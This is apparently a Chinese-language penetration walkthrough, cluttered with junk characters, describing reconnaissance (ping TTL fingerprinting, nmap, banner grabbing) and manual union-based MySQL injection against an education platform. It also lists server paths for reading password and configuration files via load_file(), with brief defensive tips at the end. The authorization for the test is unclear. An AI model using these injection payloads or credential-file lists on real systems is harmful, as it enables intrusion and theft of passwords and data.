题记:
) {) H; V( D# K) D9 M0 R% J一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
4 M& Y/ h$ n- Z7 c' U, A- m% c第一步:获取需要的信息
! N1 e- |! C$ W3 l+ U" s- _由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
n) C: d$ H0 a- ~2 \$ U注:以下为保护特用XXX代替敏感信息
) T3 C5 P( X) J. ?' W4 e顺手先PING了一下他们的域名:" D( L! g( Y8 M3 W1 |
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)+ l* Y) `* b! j5 V6 m
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms* L9 c' z4 ]2 ]0 }9 F o' t8 {( a
顺便了解一下TTL,学好基础知识才能一路顺风:4 N$ x9 Q+ A! d0 n, ]
TTL:(Time To Live ) 生存时间* A; J. O: k C$ o. A
指定数据包被路由器丢弃之前允许通过的网段数量。
0 w6 k& W$ N& D4 c, A& n9 A3 ^TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
1 O0 j) l% q+ D使用PING时涉及到的 ICMP 报文类型
+ t" o+ S8 v! O5 U9 N一个为ICMP请求回显(ICMP Echo Request)
9 U0 T: o6 X7 l+ c一个为ICMP回显应答(ICMP Echo Reply)& r x/ s# t4 [; ]9 k6 t
TTL 字段值可以帮助我们识别操作系统类型。
' s" b! Z$ f% ]6 V, r4 ^3 S; \9 uUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255& b9 ]& y T$ O+ z; @0 U( o* j
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
* ?- c* I7 n- S& ~0 S W微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128$ D, z: V6 ^7 i% s& J
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
* x/ Q9 K/ ?3 S/ T- q当然,返回的TTL值是相同的 d- M1 [& |! U% A; c
但有些情况下有所特殊5 K1 b2 a' R) D5 Q" _
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 643 p" S9 L; g5 U1 u
FreeBSD 4.1, 4.0, 3.4;
0 ?3 L( W! i- R& X! P/ E. FSun Solaris 2.5.1, 2.6, 2.7, 2.8;: x5 k+ _: N3 U! I$ ^- R
OpenBSD 2.6, 2.7,3 d& X2 x- W" s+ ?* \
NetBSD
4 Q3 Q7 d" G5 @3 n0 C" gHP UX 10.20
; n7 C1 S% j6 |5 S- Z8 aICMP 回显应答的 TTL 字段值为 255
0 \! f$ y2 |+ I% y& ]% [Windows 95/98/98SE; j, D) i8 c5 E v0 c" x/ N
Windows ME
+ D3 E4 D G/ U7 ^$ CICMP 回显应答的 TTL 字段值为 32) O; Y$ u1 A" K Y7 f: L: _- g" d
Windows NT4 WRKS4 i) w& o0 k1 H) P9 i9 W% s
Windows NT4 Server% i3 k# Q3 T( P& i( C' s) A
Windows 2000- x1 s" H. [; g9 q! Q2 @1 H
Windows XP
: G) j% r; d/ C( @. ?ICMP 回显应答的 TTL 字段值为 128/ J& {0 p0 `; U4 D' y* K0 C2 n
这样,我们就可以通过这种方法来辨别操作系统
. ?# y8 Y6 \- ?+ `$ l( g' p( D9 VTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的2550 p) @( g9 T; H% _! n! Q
用NMAP扫描一下:
4 ^# c( Q. ]! Y$ E/ lnmap -sT -O XXX.XXX.XXX.XXX
+ h; J3 h) B7 R" v- |# R6 g M如果没有装WinPcap则会弹出提示:, b$ \) p! w; {+ u \" v
WARNING: Could not import all necessary WinPcap functions. You may need to upgr3 z7 D* a( q6 E. A" Q
ade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(
6 E" ]+ @: _! w) R) mode — Nmap may not function completely
: ?$ n) K1 D7 I3 E7 Q% k0 q( L# nTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher1 @% F. Y o# a" S9 r/ I
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win
' x! M. ?$ U) b. [7 b8 \& Z! t: Ipcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an
8 e) |$ g6 m! ?: o+ r, Ad later operating sytems and NT 4.0 with SP4 or greater. For previous windows v; T, u, f6 z9 J+ K& z0 Y! e
ersions, you may be able to take iphlpapi.dll from another system and place it i
" |/ E) r3 p6 t1 A: H1 s7 @n your system32 dir (e.g. c:\windows\system32)., m1 z8 Z) k5 Y! C
QUITTING!
+ G" K+ D, u6 F' ^: d' t到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
5 Z. b: j5 _7 G( r! _* j安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:5 B& N2 C9 N; ?# @2 U' z* u
Interesting ports on XXX.XXX.XXX.XXX:2 |7 e: A% D2 M" z, C* F( @: x9 E
Not shown: 986 closed ports- f' i0 B7 E+ n3 a7 r Y
PORT STATE SERVICE+ c) `6 ?* d0 }8 c# V- y. q: D
21/tcp open ftp
6 A9 p1 }8 ]8 @- S+ j22/tcp open ssh
: I/ k1 H( Q; Q( [. @23/tcp open telnet# x: D! A9 J. g2 h
80/tcp open http
& \% G- R; j) \4 {111/tcp open rpcbind1 G9 @3 M0 R2 s' y+ R# w9 g
135/tcp filtered msrpc
/ Q. A k9 o$ m% b139/tcp filtered netbios-ssn3 \. ^( q% R3 v8 C* P8 ^
445/tcp filtered microsoft-ds
+ |3 N8 X9 N6 ]- Z: x513/tcp open login
% g' ]' m) ~& I+ X514/tcp open shell
1 Y& a0 |6 R8 J1 _! b7 U- |593/tcp filtered http-rpc-epmap* V, W# J. `; @4 y! m: T
1720/tcp filtered H.323/Q.931. n" T7 E3 I7 u- f# {0 M
3306/tcp open mysql5 P( S5 u2 t) J
4444/tcp filtered krb524
6 n2 Y# X* v; F6 l; x' ?1 \Device type: WAP
* c9 M3 c+ B" ?( h2 mRunning: Linux 2.4.X) H0 ^. D9 k q, U8 ?7 r! M
OS details: DD-WRT (Linux 2.4.35s)
2 f6 Q/ q* Y& |7 L2 M' kNetwork Distance: 13 hops4 F r# d) H2 S5 O0 r- {
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:) l" @: s/ i* B8 S% `4 Y
login as:. h9 X4 X: `8 Z& A" H
Telnet23端口也是开着的,用telnet 命令链接一下:
5 i4 p8 p" [2 W0 l% r( E# itelnet XXX.XXX.XXX.XXX& Z- Z; V9 `8 ?! [. w% g
提示:- J$ j( @ _) k0 Y
Red Hat Enterprise Linux Server release 5.2 (Tikanga)' T& b* ]* q7 l
Kernel 2.6.18-92.el5PAE on an i6868 ]6 F. S/ B( G6 z0 A' v/ Q
login:
: W$ b5 n! X f0 w) j) |获取HTTP头信息:2 w1 d, z/ V5 ?1 m- O
在本地执行如下PHP代码
. k. D/ u( i, `* S% l<?php
: L3 D) c; ^0 M2 E$url = ‘XXX.XXX.XXX.XXX’;9 ]2 @ P% O+ Y
print_r(get_headers($url));# D/ F; Z' z. m0 t% ^6 P2 w3 x/ N
print_r(get_headers($url, 1));
0 m: v; Y; N+ S6 N. f) ??>
) k" V- `: x! r将以上代码保存为PHP文件,执行:
7 h/ B4 r& ]$ j Y2 x7 gArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )3 X1 B" e! V) b8 E9 R
现在可以得出结论:
5 }/ g h. y" K# c6 ]$ f系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
; Y9 @# @1 @# f% _1 ]4 T* G8 R z内核版本:Kernel 2.6.18-92.el5PAE on an i6866 V& |( e4 m2 d% Y! g) k. O( `+ [
WEB服务器版本:nginx/0.7.61
h9 m: Y) d0 q$ ^# E9 ^* [第二步,开始测试寻找漏洞
7 K) A- A2 f& J分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
/ `, R0 P2 ]; e, S6 p1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
: P( ^! U% n3 E2 { \' Q2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
" p: b- |( O3 ?/ j" Z# lhttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常$ _# \" C7 |* x9 b
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误; {, c3 M4 V F9 F: R8 I
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续& [# f% M% Y( S( F' T! \
3、手工注入:* J5 L3 N% a1 W& R
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。: C ^$ ~1 W) R c! G9 A' {
3.1 猜测当前表字段数2 v5 M" o* z; m
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
. W2 i, z! O! e. C此处猜测有个简单的算法,都是有技巧的吗,呵呵
$ o& _: J8 y, o, d算法简单如下:
- ^1 _: S; Y3 N* D% z; n第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
4 m9 [2 X) \. N) S第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
9 g- y/ a# ?: K/ ^* t3 T: j$ `* i需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。( T. z' h4 C5 i3 N7 V/ J
以此来判断,是否过界,配合取中算法猜出字段数。
3 A% Q& f4 S, ?) g# a举例:) c- j6 F+ d4 P+ c8 L! c# x ~! R
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
6 V3 ~, l5 m2 i& u0 k! L1 khttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
" q' M. x {1 J! R& Z此时3则为我们要找的字段数。
- U& X e( |4 n& D- f( E$ f3.2 配合union联合查询字段在页面所位置
& w& q6 W+ E) {# e我们已经知道了字段数为3,此时则可以做如下操作:0 U$ X5 V! T3 P# i( I n
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3# X, d) w! _9 }6 Y4 [
) X# `0 ?: I E' O这样就可以测试到哪些字段在页面上有所显示了,如图:
% }: u6 f g+ ^- U! r/ c8 P
- J( V3 U- I6 ]3.3 查敏感信息; a" b6 J b( H
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
1 J7 u6 {2 ]" Jhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
* m2 X& c# \4 n9 f% T" b; `' k3.3.1 先查数据库用户、数据库名,以备后用,如图:
' T+ J! S$ k1 f" }4 w4 m9 G5 h# n, ~6 O" q5 y; ?
得到数据库用户为root、数据库名为DBxx;/ X2 q( U' {" w" Z$ j. U) Y: e
3.3.2 查配置文件
% S$ b# a* P. E4 h' \9 Q$ P( h0 I查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
# s1 x, S' b7 p6 o& ^1 d) o查看文件有一定的条件限制:' `7 i; n; U4 J; c j0 |! A, S
欲读取文件必须在服务器上& C) v# K. ~( Z
必须指定文件完整的路径
) ~! V- F* _% V; _, O! K* Z必须有权限读取并且文件必须完全可读
/ w3 K/ V) G/ M0 E, J欲读取文件必须小于 max_allowed_packet
+ d* P i: P% m8 L; U4 a6 \MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。, Q* ~0 U/ p6 R! O/ o2 }' q
常用的一些:8 @6 K# k$ n; d7 L9 j
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件( E: C, d/ d, W( B' k
/usr/local/apache2/conf/httpd.conf3 s, g) {* W, d, O' U- R
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
7 E1 i% u5 \- V$ L* [8 D/usr/local/app/php5/lib/php.ini //PHP相关设置
- ^5 w2 z1 _' V; B' r/etc/sysconfig/iptables //从中得到防火墙规则策略
8 x) i& d6 s8 c' l) h/etc/httpd/conf/httpd.conf // apache配置文件
" E% Z. x& T& y9 X/etc/rsyncd.conf //同步程序配置文件
. o/ W! M5 Z0 _" |3 t4 s n/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.: K& p7 ?6 T( A$ y" M( t( \* l
/etc/my.cnf //mysql的配置文件+ |7 ?$ a; L6 K: M1 x4 `3 E
/etc/redhat-release //系统版本' F0 h$ C3 K' P
/etc/issue
( z% @/ B$ P9 L1 L9 K/etc/issue.net6 k2 f6 M" Y Z- |+ I. G1 ^8 V/ j
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码8 I5 S; ^' B Q3 U2 v+ l
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码8 e1 {1 ^$ n0 n, [
c:\Program Files\Serv-U\ServUDaemon.ini
* r! F5 `* E' Y9 ^+ B/ |7 jc:\windows\my.ini //MYSQL配置文件$ p# l" t7 X, z& ^, e4 i( x
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件. P" s& ?5 o( y# q i
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
6 E7 T( K; L# l9 Z3 L% Ic:\windows\repair\sam //存储了WINDOWS系统初次安装的密码( C4 q* w( H H: S5 W; x/ d, T
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
) n2 |+ g6 B R3 ~* |4 Bc:\Program Files\RhinoSoft.com\ServUDaemon.exe- J6 S% C9 V" F& C
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件' i( V H/ ~. n: @ Q7 q7 Y
//存储了pcAnywhere的登陆密码* b7 ?: x2 T E
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。' }8 |5 a% U; @ K' |. N
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。6 {7 R" V! e" ~2 T5 z6 {
最后:防范措施
8 N. Y/ b: ]- g; {1 F2 Y$ x- `1、修复PHP注入漏洞;
) m8 ]7 @( {& u* n2、Mysql使用普通权限的用户;% `3 i6 y6 e4 A8 h) g
3、升级linux内核至最新版本; |